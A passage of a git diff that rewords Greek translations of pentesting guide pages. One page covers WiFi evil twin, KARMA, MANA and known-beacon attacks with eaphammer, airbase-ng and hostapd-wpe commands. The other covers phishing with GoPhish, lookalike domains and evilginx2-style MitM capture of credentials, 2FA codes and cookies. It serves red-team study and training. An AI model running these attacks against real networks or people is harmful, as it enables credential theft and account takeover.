μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, ξεγελώντας τη συσκευή να συνδεθεί σε ένα κακόβουλο AP. ### Ενεργή Διερεύνηση - Η ενεργή διερεύνηση περιλαμβάνει τους σταθμούς να στέλνουν αιτήματα probe για να ανακαλύψουν κοντινά APs και τα χαρακτηριστικά τους. -- Τα κατευθυνόμενα αιτήματα probe στοχεύουν σε ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί εάν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο. +- Τα κατευθυνόμενα αιτήματα probe στοχεύουν σε ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί αν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο. - Τα αιτήματα probe εκπομπής έχουν ένα κενό πεδίο SSID και αποστέλλονται σε όλα τα κοντινά APs, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύψει το περιεχόμενο της PNL του. ## Απλό AP με ανακατεύθυνση στο Διαδίκτυο @@ -500,9 +501,9 @@ echo 1 > /proc/sys/net/ipv4/ip_forward ``` ## Evil Twin -Μια επίθεση evil twin εκμεταλλεύεται τον τρόπο που οι πελάτες WiFi αναγνωρίζουν τα δίκτυα, βασιζόμενοι κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτείται η πιστοποίηση του σταθμού βάσης (access point) προς τον πελάτη. Σημαντικά σημεία περιλαμβάνουν: +Η επίθεση evil twin εκμεταλλεύεται τον τρόπο που οι πελάτες WiFi αναγνωρίζουν τα δίκτυα, βασιζόμενη κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτεί από τον σταθμό βάσης (access point) να πιστοποιήσει τον εαυτό του στον πελάτη. Σημαντικά σημεία περιλαμβάνουν: -- **Δυσκολία στη Διαφοροποίηση**: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπές. +- **Δυσκολία στη Διαφοροποίηση**: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπή. - **Περιπλάνηση Πελατών και Χειρισμός Σύνδεσης**: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να περιπλανώνται μεταξύ access points εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το γεγονός προσελκύοντας μια συσκευή να αποσυνδεθεί από τον τρέχοντα σταθμό βάσης της και να συνδεθεί σε έναν κακόβουλο. Αυτό μπορεί να επιτευχθεί προσφέροντας ένα ισχυρότερο σήμα ή διακόπτοντας τη σύνδεση με το νόμιμο access point μέσω μεθόδων όπως τα πακέτα αποσύνδεσης ή η παρεμβολή. - **Προκλήσεις στην Εκτέλεση**: Η επιτυχής εκτέλεση μιας επίθεσης evil twin σε περιβάλλοντα με πολλαπλά, καλά τοποθετημένα access points μπορεί να είναι δύσκολη. Η αποσύνδεση ενός μόνο νόμιμου access point συχνά έχει ως αποτέλεσμα τη σύνδεση της συσκευής σε άλλο νόμιμο access point, εκτός αν ο επιτιθέμενος μπορεί να αποσυνδέσει όλα τα κοντινά access points ή να τοποθετήσει στρατηγικά το κακόβουλο access point. @@ -510,7 +511,7 @@ echo 1 > /proc/sys/net/ipv4/ip_forward ```bash airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon ``` -Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας το **eaphammer** (σημειώστε ότι για να δημιουργήσετε κακούς διδύμους με το eaphammer η διεπαφή **δεν πρέπει να είναι** σε **monitor** mode): +Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας το **eaphammer** (σημειώστε ότι για να δημιουργήσετε κακούς διδύμους με το eaphammer, η διεπαφή **δεν θα πρέπει να είναι** σε **monitor** mode): ```bash ./eaphammer -i wlan0 --essid exampleCorp --captive-portal ``` @@ -524,7 +525,7 @@ _Ορισμένα λειτουργικά συστήματα και AV θα πρ ### WPA/WPA2 Evil Twin -Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και αν οι συσκευές είναι ρυθμισμένες να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, **για να ολοκληρωθεί το 4-way-handshake** πρέπει επίσης να **γνωρίζετε** τον **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν **δεν τον γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**. +Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και αν οι συσκευές έχουν ρυθμιστεί να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, **για να ολοκληρωθεί το 4-way-handshake** πρέπει επίσης να **γνωρίζετε** τον **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν **δεν τον γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**. ```bash ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` @@ -574,37 +575,37 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ### Αποσφαλμάτωση PEAP και EAP-TTLS TLS tunnels σε επιθέσεις Evil Twins -_Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel, αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS_ +_Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP, αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel, αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS_ -Μέσα στη **διαμόρφωση** του _hostapd-wpe_ **σχολιάστε** τη γραμμή που περιέχει το _**dh_file**_ (από `dh_file=/etc/hostapd-wpe/certs/dh` σε `#dh_file=/etc/hostapd-wpe/certs/dh`)\ +Μέσα στην **διαμόρφωση** του _hostapd-wpe_ **σχολιάστε** τη γραμμή που περιέχει το _**dh_file**_ (από `dh_file=/etc/hostapd-wpe/certs/dh` σε `#dh_file=/etc/hostapd-wpe/certs/dh`)\ Αυτό θα κάνει το `hostapd-wpe` να **ανταλλάσσει κλειδιά χρησιμοποιώντας RSA** αντί για DH, έτσι θα μπορείτε να **αποκρυπτογραφήσετε** την κίνηση αργότερα **γνωρίζοντας το ιδιωτικό κλειδί του διακομιστή**. Τώρα ξεκινήστε το **Evil Twin** χρησιμοποιώντας **`hostapd-wpe`** με αυτή τη τροποποιημένη διαμόρφωση όπως συνήθως. Επίσης, ξεκινήστε **`wireshark`** στη **διεύθυνση** που εκτελεί την επίθεση Evil Twin. Τώρα ή αργότερα (όταν έχετε ήδη συλλάβει κάποιες προθέσεις αυθεντικοποίησης) μπορείτε να προσθέσετε το ιδιωτικό RSA κλειδί στο wireshark στο: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` -Προσθέστε μια νέα καταχώρηση και συμπληρώστε τη φόρμα με αυτές τις τιμές: **Διεύθυνση IP = οποιαδήποτε** -- **Θύρα = 0** -- **Πρωτόκολλο = data** -- **Αρχείο Κλειδιού** (**επιλέξτε το αρχείο κλειδιού σας**, για να αποφύγετε προβλήματα επιλέξτε ένα αρχείο κλειδιού **χωρίς προστασία με κωδικό**). +Προσθέστε μια νέα καταχώρηση και συμπληρώστε τη φόρμα με αυτές τις τιμές: **Διεύθυνση IP = οποιαδήποτε** -- **Θύρα = 0** -- **Πρωτόκολλο = data** -- **Αρχείο Κλειδιού** (**επιλέξτε το αρχείο κλειδιού σας**, για να αποφύγετε προβλήματα επιλέξτε ένα αρχείο κλειδιού **χωρίς προστασία κωδικού πρόσβασης**). ![](<../../images/image (687).png>) -Και κοιτάξτε την νέα **καρτέλα "Αποκρυπτογραφημένο TLS"**: +Και δείτε την νέα **καρτέλα "Αποκρυπτογραφημένο TLS"**: ![](<../../images/image (231).png>) ## KARMA, MANA, Loud MANA και επιθέσεις με γνωστά beacon -### Μαύρες/λευκές λίστες ESSID και MAC +### ESSID και MAC μαύρες/λευκές λίστες Διαφορετικοί τύποι Λιστών Φίλτρων Πρόσβασης Μέσων (MFACLs) και οι αντίστοιχες λειτουργίες και επιδράσεις τους στη συμπεριφορά ενός κακόβουλου Σημείου Πρόσβασης (AP): 1. **Λευκή Λίστα βάσει MAC**: -- Το κακόβουλο AP θα απαντά μόνο σε αιτήματα probe από συσκευές που καθορίζονται στη λευκή λίστα, παραμένοντας αόρατο σε όλες τις άλλες που δεν είναι καταχωρημένες. +- Το κακόβουλο AP θα απαντήσει μόνο σε αιτήματα probe από συσκευές που καθορίζονται στη λευκή λίστα, παραμένοντας αόρατο σε όλες τις άλλες που δεν αναφέρονται. 2. **Μαύρη Λίστα βάσει MAC**: -- Το κακόβουλο AP θα αγνοεί τα αιτήματα probe από συσκευές στη μαύρη λίστα, καθιστώντας το κακόβουλο AP αόρατο για αυτές τις συγκεκριμένες συσκευές. +- Το κακόβουλο AP θα αγνοήσει τα αιτήματα probe από συσκευές στη μαύρη λίστα, καθιστώντας το κακόβουλο AP αόρατο για αυτές τις συγκεκριμένες συσκευές. 3. **Λευκή Λίστα βάσει SSID**: -- Το κακόβουλο AP θα απαντά σε αιτήματα probe μόνο για συγκεκριμένα ESSIDs που είναι καταχωρημένα, καθιστώντας το αόρατο για συσκευές των οποίων οι Λίστες Προτιμώμενων Δικτύων (PNLs) δεν περιέχουν αυτά τα ESSIDs. +- Το κακόβουλο AP θα απαντήσει σε αιτήματα probe μόνο για συγκεκριμένα ESSIDs που αναφέρονται, καθιστώντας το αόρατο για συσκευές των οποίων οι Λίστες Προτιμώμενων Δικτύων (PNLs) δεν περιέχουν αυτά τα ESSIDs. 4. **Μαύρη Λίστα βάσει SSID**: -- Το κακόβουλο AP δεν θα απαντά σε αιτήματα probe για τα συγκεκριμένα ESSIDs στη μαύρη λίστα, καθιστώντας το αόρατο για συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα. +- Το κακόβουλο AP δεν θα απαντήσει σε αιτήματα probe για τα συγκεκριμένα ESSIDs στη μαύρη λίστα, καθιστώντας το αόρατο για συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα. ```bash # example EAPHammer MFACL file, wildcards can be used 09:6a:06:c8:36:af @@ -626,7 +627,7 @@ name3 ``` ### KARMA -Αυτή η μέθοδος επιτρέπει σε έναν **επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα ανίχνευσης** από συσκευές που επιθυμούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική **παραπλανεί τις συσκευές να συνδεθούν στο AP ενός επιτιθέμενου** μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακόβουλο AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου. +Αυτή η μέθοδος επιτρέπει σε έναν **επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα ανίχνευσης** από συσκευές που επιθυμούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική **παγιδεύει τις συσκευές να συνδεθούν στο AP του επιτιθέμενου** μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακόβουλο AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου. ### MANA @@ -638,21 +639,21 @@ name3 ``` ### Loud MANA -Μια **Loud MANA επίθεση** είναι μια προηγμένη στρατηγική για όταν οι συσκευές δεν χρησιμοποιούν κατευθυνόμενη αναζήτηση ή όταν οι Λίστες Προτιμώμενων Δικτύων (PNL) τους είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι **οι συσκευές στην ίδια περιοχή είναι πιθανό να μοιράζονται κάποια ονόματα δικτύων στις PNL τους**. Αντί να απαντούν επιλεκτικά, αυτή η επίθεση εκπέμπει απαντήσεις αναζήτησης για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNL όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα οικείο δίκτυο και να προσπαθήσει να συνδεθεί με το κακόβουλο Access Point (AP). +Μια **Loud MANA επίθεση** είναι μια προηγμένη στρατηγική για περιπτώσεις που οι συσκευές δεν χρησιμοποιούν κατευθυνόμενη αναζήτηση ή όταν οι Λίστες Προτιμώμενων Δικτύων (PNL) τους είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι **οι συσκευές στην ίδια περιοχή είναι πιθανό να μοιράζονται ορισμένα ονόματα δικτύων στις PNL τους**. Αντί να απαντούν επιλεκτικά, αυτή η επίθεση εκπέμπει απαντήσεις αναζήτησης για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNL όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα οικείο δίκτυο και να προσπαθήσει να συνδεθεί με το κακόβουλο Access Point (AP). ```bash ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ``` ### Known Beacon attack -Όταν η **Loud MANA attack** μπορεί να μην είναι επαρκής, η **Known Beacon attack** προσφέρει μια άλλη προσέγγιση. Αυτή η μέθοδος **σπάει τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντά σε οποιοδήποτε όνομα δικτύου, κυκλώνοντας μια λίστα πιθανών ESSIDs** που προέρχονται από μια λίστα λέξεων. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, ελπίζοντας να ταιριάξει ένα ESSID μέσα στην PNL του θύματος, προκαλώντας μια προσπάθεια σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντας την με την επιλογή `--loud` για μια πιο επιθετική προσπάθεια να παγιδεύσει συσκευές. +Όταν η **Loud MANA attack** μπορεί να μην είναι επαρκής, η **Known Beacon attack** παρουσιάζει μια άλλη προσέγγιση. Αυτή η μέθοδος **σπάει τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντά σε οποιοδήποτε όνομα δικτύου, κυκλώνοντας μια λίστα πιθανών ESSIDs** που προέρχονται από μια λίστα λέξεων. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, ελπίζοντας να ταιριάξει ένα ESSID μέσα στην PNL του θύματος, προκαλώντας μια προσπάθεια σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντας την με την επιλογή `--loud` για μια πιο επιθετική προσπάθεια να παγιδεύσει συσκευές. Το Eaphammer υλοποίησε αυτή την επίθεση ως MANA attack όπου όλα τα ESSIDs μέσα σε μια λίστα φορτώνονται (μπορείτε επίσης να το συνδυάσετε με `--loud` για να δημιουργήσετε μια Loud MANA + Known beacons attack): ```bash ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` -**Επίθεση Γνωστού Beacon Burst** +**Γνωστή επίθεση Beacon Burst** -Η **επίθεση Γνωστού Beacon Burst** περιλαμβάνει **ταχεία μετάδοση πλαισίων beacon για κάθε ESSID που αναφέρεται σε ένα αρχείο**. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα συσκευών να συνδεθούν στο κακόβουλο AP, ειδικά όταν συνδυάζεται με μια επίθεση MANA. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να κατακλύσει τους μηχανισμούς επιλογής δικτύου των συσκευών. +Η **Γνωστή επίθεση Beacon Burst** περιλαμβάνει **ταχεία μετάδοση πλαισίων beacon για κάθε ESSID που αναφέρεται σε ένα αρχείο**. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα συσκευών να συνδεθούν στο κακόβουλο AP, ειδικά όταν συνδυάζεται με μια επίθεση MANA. Αυτή η τεχνική εκμεταλλεύεται την ταχύτητα και τον όγκο για να κατακλύσει τους μηχανισμούς επιλογής δικτύου των συσκευών. ```bash # transmit a burst of 5 forged beacon packets for each entry in list ./forge-beacons -i wlan1 \ diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index 09cdf6c44..23e535a38 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -14,7 +14,7 @@ 3. Ρυθμίστε το VPS με **gophish** 3. Prepare the campaign 1. Ετοιμάστε το **email template** -2. Ετοιμάστε τη **σελίδα web** για να κλέψετε τα διαπιστευτήρια +2. Ετοιμάστε την **ιστοσελίδα** για να κλέψετε τα διαπιστευτήρια 4. Εκκινήστε την καμπάνια! ## Generate similar domain names or buy a trusted domain @@ -24,12 +24,12 @@ - **Keyword**: Το domain name **περιέχει** μια σημαντική **λέξη-κλειδί** του αρχικού domain (π.χ., zelster.com-management.com). - **hypened subdomain**: Αλλάξτε την **τελεία σε παύλα** ενός υποτομέα (π.χ., www-zelster.com). - **New TLD**: Ίδιο domain χρησιμοποιώντας ένα **νέο TLD** (π.χ., zelster.org) -- **Homoglyph**: Αντικαθιστά ένα γράμμα στο domain name με **γράμματα που μοιάζουν** (π.χ., zelfser.com). +- **Homoglyph**: **Αντικαθιστά** ένα γράμμα στο domain name με **γράμματα που μοιάζουν** (π.χ., zelfser.com). {{#ref}} homograph-attacks.md {{#endref}} -- **Transposition:** Ανταλλάσσει **δύο γράμματα** μέσα στο domain name (π.χ., zelsetr.com). +- **Transposition:** **Ανταλλάσσει δύο γράμματα** μέσα στο domain name (π.χ., zelsetr.com). - **Singularization/Pluralization**: Προσθέτει ή αφαιρεί “s” στο τέλος του domain name (π.χ., zeltsers.com). - **Omission**: **Αφαιρεί ένα** από τα γράμματα του domain name (π.χ., zelser.com). - **Repetition:** **Επαναλαμβάνει ένα** από τα γράμματα στο domain name (π.χ., zeltsser.com). @@ -51,9 +51,9 @@ homograph-attacks.md ### Bitflipping -Υπάρχει μια **πιθανότητα ότι ένα από τα bits που αποθηκεύονται ή επικοινωνούνται μπορεί να αλλάξει αυτόματα** λόγω διαφόρων παραγόντων όπως ηλιακές εκρήξεις, κοσμικές ακτίνες ή σφάλματα υλικού. +Υπάρχει μια **πιθανότητα ότι ένα από τα bits που αποθηκεύονται ή επικοινωνούνται μπορεί να αλλάξει αυτόματα** λόγω διαφόρων παραγόντων όπως ηλιακές εκλάμψεις, κοσμικές ακτίνες ή σφάλματα υλικού. -Όταν αυτή η έννοια είναι **εφαρμοσμένη σε DNS αιτήματα**, είναι πιθανό ότι το **domain που λαμβάνεται από τον DNS server** δεν είναι το ίδιο με το domain που ζητήθηκε αρχικά. +Όταν αυτή η έννοια **εφαρμόζεται σε DNS αιτήματα**, είναι πιθανό ότι το **domain που λαμβάνεται από τον DNS server** δεν είναι το ίδιο με το domain που ζητήθηκε αρχικά. Για παράδειγμα, μια μόνο τροποποίηση bit στο domain "windows.com" μπορεί να το αλλάξει σε "windnws.com." @@ -77,7 +77,7 @@ homograph-attacks.md - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -Για να **ανακαλύψετε περισσότερες** έγκυρες διευθύνσεις email ή **να επιβεβαιώσετε αυτές που** έχετε ήδη ανακαλύψει μπορείτε να ελέγξετε αν μπορείτε να κάνετε brute-force στους smtp servers του θύματος. [Μάθετε πώς να επιβεβαιώσετε/ανακαλύψετε διεύθυνση email εδώ](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ +Για να **ανακαλύψετε περισσότερες** έγκυρες διευθύνσεις email ή **να επαληθεύσετε αυτές** που έχετε ήδη ανακαλύψει μπορείτε να ελέγξετε αν μπορείτε να κάνετε brute-force στους smtp servers του θύματος. [Μάθετε πώς να επαληθεύσετε/ανακαλύψετε διεύθυνση email εδώ](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ Επιπλέον, μην ξεχνάτε ότι αν οι χρήστες χρησιμοποιούν **οποιαδήποτε διαδικτυακή πύλη για να αποκτήσουν πρόσβαση στα emails τους**, μπορείτε να ελέγξετε αν είναι ευάλωτη σε **brute force ονόματος χρήστη**, και να εκμεταλλευτείτε την ευπάθεια αν είναι δυνατόν. ## Configuring GoPhish @@ -87,7 +87,7 @@ homograph-attacks.md Μπορείτε να το κατεβάσετε από [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) Κατεβάστε και αποσυμπιέστε το μέσα στο `/opt/gophish` και εκτελέστε το `/opt/gophish/gophish`\ -Θα σας δοθεί ένας κωδικός για τον διαχειριστή στη θύρα 3333 στην έξοδο. Επομένως, αποκτήστε πρόσβαση σε αυτή τη θύρα και χρησιμοποιήστε αυτά τα διαπιστευτήρια για να αλλάξετε τον κωδικό διαχειριστή. Ίσως χρειαστεί να στείλετε αυτή τη θύρα τοπικά: +Θα σας δοθεί ένας κωδικός πρόσβασης για τον διαχειριστή στη θύρα 3333 στην έξοδο. Επομένως, αποκτήστε πρόσβαση σε αυτή τη θύρα και χρησιμοποιήστε αυτά τα διαπιστευτήρια για να αλλάξετε τον κωδικό πρόσβασης του διαχειριστή. Ίσως χρειαστεί να στείλετε αυτή τη θύρα τοπικά: ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -95,7 +95,7 @@ ssh -L 3333:127.0.0.1:3333 @ **Ρύθμιση πιστοποιητικού TLS** -Πριν από αυτό το βήμα θα πρέπει να έχετε **αγοράσει ήδη το domain** που πρόκειται να χρησιμοποιήσετε και πρέπει να **δείχνει** στη **διεύθυνση IP του VPS** όπου ρυθμίζετε το **gophish**. +Πριν από αυτό το βήμα θα πρέπει να έχετε **αγοράσει ήδη το domain** που θα χρησιμοποιήσετε και πρέπει να **δείχνει** στη **διεύθυνση IP του VPS** όπου ρυθμίζετε το **gophish**. ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -111,7 +111,7 @@ mkdir /opt/gophish/ssl_keys cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt​ ``` -**Διαμόρφωση ταχυδρομείου** +**Ρύθμιση ταχυδρομείου** Αρχίστε την εγκατάσταση: `apt-get install postfix` @@ -243,7 +243,7 @@ service gophish stop ![](<../../images/image (1037).png>) -Αυτό είναι το περιεχόμενο που πρέπει να οριστεί μέσα σε μια εγγραφή TXT στον τομέα: +Αυτή είναι η περιεχόμενο που πρέπει να οριστεί μέσα σε μια εγγραφή TXT στον τομέα: ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` @@ -354,7 +354,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY - Γράψτε ένα **όνομα** - **Γράψτε τον HTML κώδικα** της ιστοσελίδας. Σημειώστε ότι μπορείτε να **εισάγετε** ιστοσελίδες. -- Επιλέξτε **Capture Submitted Data** και **Capture Passwords** +- Επισημάνετε **Capture Submitted Data** και **Capture Passwords** - Ορίστε μια **ανακατεύθυνση** ![](<../../images/image (826).png>) @@ -369,7 +369,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ### Users & Groups - Ορίστε ένα όνομα -- **Εισάγετε τα δεδομένα** (σημειώστε ότι για να χρησιμοποιήσετε το template για το παράδειγμα χρειάζεστε το όνομα, το επώνυμο και τη διεύθυνση email κάθε χρήστη) +- **Εισάγετε τα δεδομένα** (σημειώστε ότι για να χρησιμοποιήσετε το πρότυπο για το παράδειγμα χρειάζεστε το όνομα, το επώνυμο και τη διεύθυνση email κάθε χρήστη) ![](<../../images/image (163).png>) @@ -382,13 +382,13 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ![](<../../images/image (192).png>) > [!TIP] -> Θα συνιστούσα να **στείλετε τα δοκιμαστικά emails σε διευθύνσεις 10min mails** για να αποφύγετε να μπείτε σε μαύρη λίστα κατά τη διάρκεια των δοκιμών. +> Θα συνιστούσα να **στείλετε τα δοκιμαστικά emails σε διευθύνσεις 10min mails** για να αποφύγετε να μπείτε σε μαύρη λίστα κάνοντας δοκιμές. -Μόλις είναι όλα έτοιμα, απλά ξεκινήστε την καμπάνια! +Μόλις είναι όλα έτοιμα, απλά εκκινήστε την καμπάνια! ## Website Cloning -Αν για οποιονδήποτε λόγο θέλετε να κλωνοποιήσετε την ιστοσελίδα, ελέγξτε την παρακάτω σελίδα: +Αν για οποιονδήποτε λόγο θέλετε να κλωνοποιήσετε την ιστοσελίδα ελέγξτε την παρακάτω σελίδα: {{#ref}} clone-a-website.md @@ -407,26 +407,26 @@ phishing-documents.md ### Via Proxy MitM -Η προηγούμενη επίθεση είναι αρκετά έξυπνη καθώς προσποιείστε μια πραγματική ιστοσελίδα και συγκεντρώνετε τις πληροφορίες που εισάγει ο χρήστης. Δυστυχώς, αν ο χρήστης δεν έχει βάλει τον σωστό κωδικό ή αν η εφαρμογή που προσποιείστε είναι ρυθμισμένη με 2FA, **αυτές οι πληροφορίες δεν θα σας επιτρέψουν να προσποιηθείτε τον παραπλανημένο χρήστη**. +Η προηγούμενη επίθεση είναι αρκετά έξυπνη καθώς προσποιείστε μια πραγματική ιστοσελίδα και συγκεντρώνετε τις πληροφορίες που εισάγει ο χρήστης. Δυστυχώς, αν ο χρήστης δεν εισάγει τον σωστό κωδικό ή αν η εφαρμογή που προσποιείστε είναι ρυθμισμένη με 2FA, **αυτές οι πληροφορίες δεν θα σας επιτρέψουν να προσποιηθείτε τον παραπλανημένο χρήστη**. Εδώ είναι που εργαλεία όπως [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) και [**muraena**](https://github.com/muraenateam/muraena) είναι χρήσιμα. Αυτό το εργαλείο θα σας επιτρέψει να δημιουργήσετε μια επίθεση τύπου MitM. Βασικά, οι επιθέσεις λειτουργούν ως εξής: 1. Εσείς **προσποιείστε τη φόρμα σύνδεσης** της πραγματικής ιστοσελίδας. -2. Ο χρήστης **στέλνει** τα **διαπιστευτήριά** του στη ψεύτικη σελίδα σας και το εργαλείο τα στέλνει στην πραγματική ιστοσελίδα, **ελέγχοντας αν τα διαπιστευτήρια λειτουργούν**. -3. Αν ο λογαριασμός είναι ρυθμισμένος με **2FA**, η σελίδα MitM θα ζητήσει αυτό και μόλις ο **χρήστης το εισάγει**, το εργαλείο θα το στείλει στην πραγματική ιστοσελίδα. -4. Μόλις ο χρήστης είναι αυθεντικοποιημένος, εσείς (ως επιτιθέμενος) θα έχετε **συλλάβει τα διαπιστευτήρια, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση σας ενώ το εργαλείο εκτελεί μια MitM. +2. Ο χρήστης **στέλνει** τα **διαπιστευτήριά** του στη ψεύτικη σελίδα σας και το εργαλείο στέλνει αυτά στη πραγματική ιστοσελίδα, **ελέγχοντας αν τα διαπιστευτήρια λειτουργούν**. +3. Αν ο λογαριασμός είναι ρυθμισμένος με **2FA**, η σελίδα MitM θα ζητήσει αυτό και μόλις ο **χρήστης το εισάγει** το εργαλείο θα το στείλει στη πραγματική ιστοσελίδα. +4. Μόλις ο χρήστης είναι αυθεντικοποιημένος εσείς (ως επιτιθέμενος) θα έχετε **συλλάβει τα διαπιστευτήρια, το 2FA, το cookie και οποιαδήποτε πληροφορία** από κάθε αλληλεπίδραση σας ενώ το εργαλείο εκτελεί μια MitM. ### Via VNC -Τι θα γινόταν αν αντί να **στείλετε το θύμα σε μια κακόβουλη σελίδα** που μοιάζει με την αρχική, το στείλετε σε μια **VNC συνεδρία με έναν περιηγητή συνδεδεμένο στην πραγματική ιστοσελίδα**; Θα μπορείτε να δείτε τι κάνει, να κλέψετε τον κωδικό, το MFA που χρησιμοποιείται, τα cookies...\ +Τι θα γινόταν αν αντί να **στείλετε το θύμα σε μια κακόβουλη σελίδα** με την ίδια εμφάνιση όπως η αρχική, το στείλετε σε μια **VNC συνεδρία με έναν περιηγητή συνδεδεμένο στην πραγματική ιστοσελίδα**; Θα μπορείτε να δείτε τι κάνει, να κλέψετε τον κωδικό, το MFA που χρησιμοποιείται, τα cookies...\ Μπορείτε να το κάνετε αυτό με [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ## Detecting the detection -Προφανώς, ένας από τους καλύτερους τρόπους για να ξέρετε αν έχετε εντοπιστεί είναι να **αναζητήσετε το 